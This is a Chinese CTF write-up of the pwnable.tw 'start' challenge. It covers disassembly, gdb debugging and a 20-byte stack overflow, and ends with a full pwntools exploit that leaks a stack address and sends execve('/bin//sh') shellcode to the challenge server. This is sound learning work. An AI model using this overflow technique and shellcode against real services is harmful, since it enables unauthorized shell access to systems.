pwnable.tw-start

参考了好多文章才能大致理解shellcode

这题开始就有一个大坑

可以看到不同的checksec查看start文件会有不同的结果,就结果而言,GDB-PEDA的checksec很不靠谱。。我根本没有s命名的文件。。

所以,start是一个32位没有开启NX的程序,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

关于各种程序保护可以参考https://www.jianshu.com/p/8a9ef7205632

既然start没有开启NX,那就可以使用shellcode了

先把程序放进IDA里

.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed

五个连续PUSH是要准备输出到屏幕上的Let's start the CTF:
然后执行write(1,"Let's start the CTF:",20),mov al 4相当于write函数,而int 80h相当于call

int n是执行中断程序的指令,n是中断类型码,这里的int 80h就相当于执行call指令。al = 4是write,al=3是read

这个函数相当于执行
write(1,"Let's start the CTF:",20);

read(0,buf,60);

在retn之前看到 add esp,14h 这相当于栈顶距离栈底20字节,也就是这个栈只有20字节,然而我们的read能输入60字节,这就可以造成栈溢出了。

学习了下gdb的使用,先gdb ./start加载程序,然后输入b *0x08048060在程序起始位置设置断点,这样程序执行到这里后就会中断。

接下来输入run运行程序,

可以看到三个板块,registers是寄存器,code是程序汇编码,stack是栈

接下来一步步nexti,单步调试,程序每次只会运行一个汇编码,可以看到在进行压栈的时候,esp会-4,相当于栈顶抬高了(在程序中,栈顶在低位)

原本esp是0xffffd390,现在变成了0xffffd388,因为0x804809d(也就是exit的地址)入栈了

还有eip寄存器的值,一直是下一条命令的值。其实程序每次执行完一条指令都会根据eip寄存器的值执行一次跳转,当程序执行到ret时,eip就不是读取下一条指令,而是把栈内的值赋值给eip,这样程序就可以跳转到其它位置。

从上面一张图可以看出来,程序在开始运行前会push 0x0804809d,当start程序运行完后,就会执行ret语句,从而跳转到exit函数(exit内的汇编码会让程序停止运行),还会让esp+4,所以之前我们输入payload把原本的0x0804809d给覆盖成0x08048087(move ecx,esp),当程序执行ret后就会跳转到move ecx,esp指令处,ecx变成0xffffd38c,write指令就会把0xffffd38c处存放的0xffffd390读取出来,从而获得栈的地址。(现在还有的困惑就是怎样在gdb调试程序时输入想要的地址,因为输入的都会当作字符串,结尾还会自动加上终止符,直接把0x08048087转化成ascll码复制粘贴也不行,这就导致我无法具体查看程序跳转后的变化)

获得栈地址后就可以装填shellcode了

最终代码如下

from pwn import  *
p = remote('chall.pwnable.tw',10000)
payload = 'a'*20 + p32(0x08048087)
p.recvuntil(':')
p.send(payload)
print(payload)
leak=u32(p.recv(4));
print(leak)
shellcode= '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload= 'a'*20 + p32(leak+20)+shellcode
p.send(payload)
p.interactive()

/*参考了众多write up 我始终无法理解,按别人的说法是通过第一次覆盖return地址(把栈内的offset _exit覆盖了)到mov eax esp地址,然后通过write()函数得到栈地址。

我姑且认为write()函数从eax寄存器内存储的地址处开始读取,可是函数结尾add esp 14h不是已经回收栈空间了吗,这时候esp内存的地址难道不是ret的位置吗,那write函数不是读出ret的栈地址吗,esp不是在ret栈地址下面吗?(一开始push esp,然后再push offset _exit,所以esp不是在offset _exit的下面吗?再之后push了20个字节的内容,所以一开始esp应该指向offset _exit所在栈空间往上20个字节啊)可为什么write读取的却是ret下面的esp地址呢?

接着是得到栈地址后再进行第二次跳转到esp下面20个字节处,在我的理解里这是为了避开输入的return地址,因为我们输入里准备用来覆盖return地址的地址会干扰我们shellcode的运行,但别人的输入却是‘a’*20 + (leakaddr+20)+shellcode,这里我完全不能理解,明明esp的地址在第一次跳转前就已经ADD 20了,那不是直接leakaddr+4就好了?还是说read函数输入的位置变成了从新的esp开始输入,但为了执行shell code也应该是leakaddr+24啊,20个'a'+leakaddr本身4个字节。

关于ecx,ebx对于write、read函数的影响不知道哪里可以查,甚至这个函数都没有我"熟悉"的ebp,没学过汇编语言的坏处就在这里。

接下来继续看王爽的汇编原理和0day安全软件漏洞分析。-2018/10/5记录一下曾经的困惑 */

 

 

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值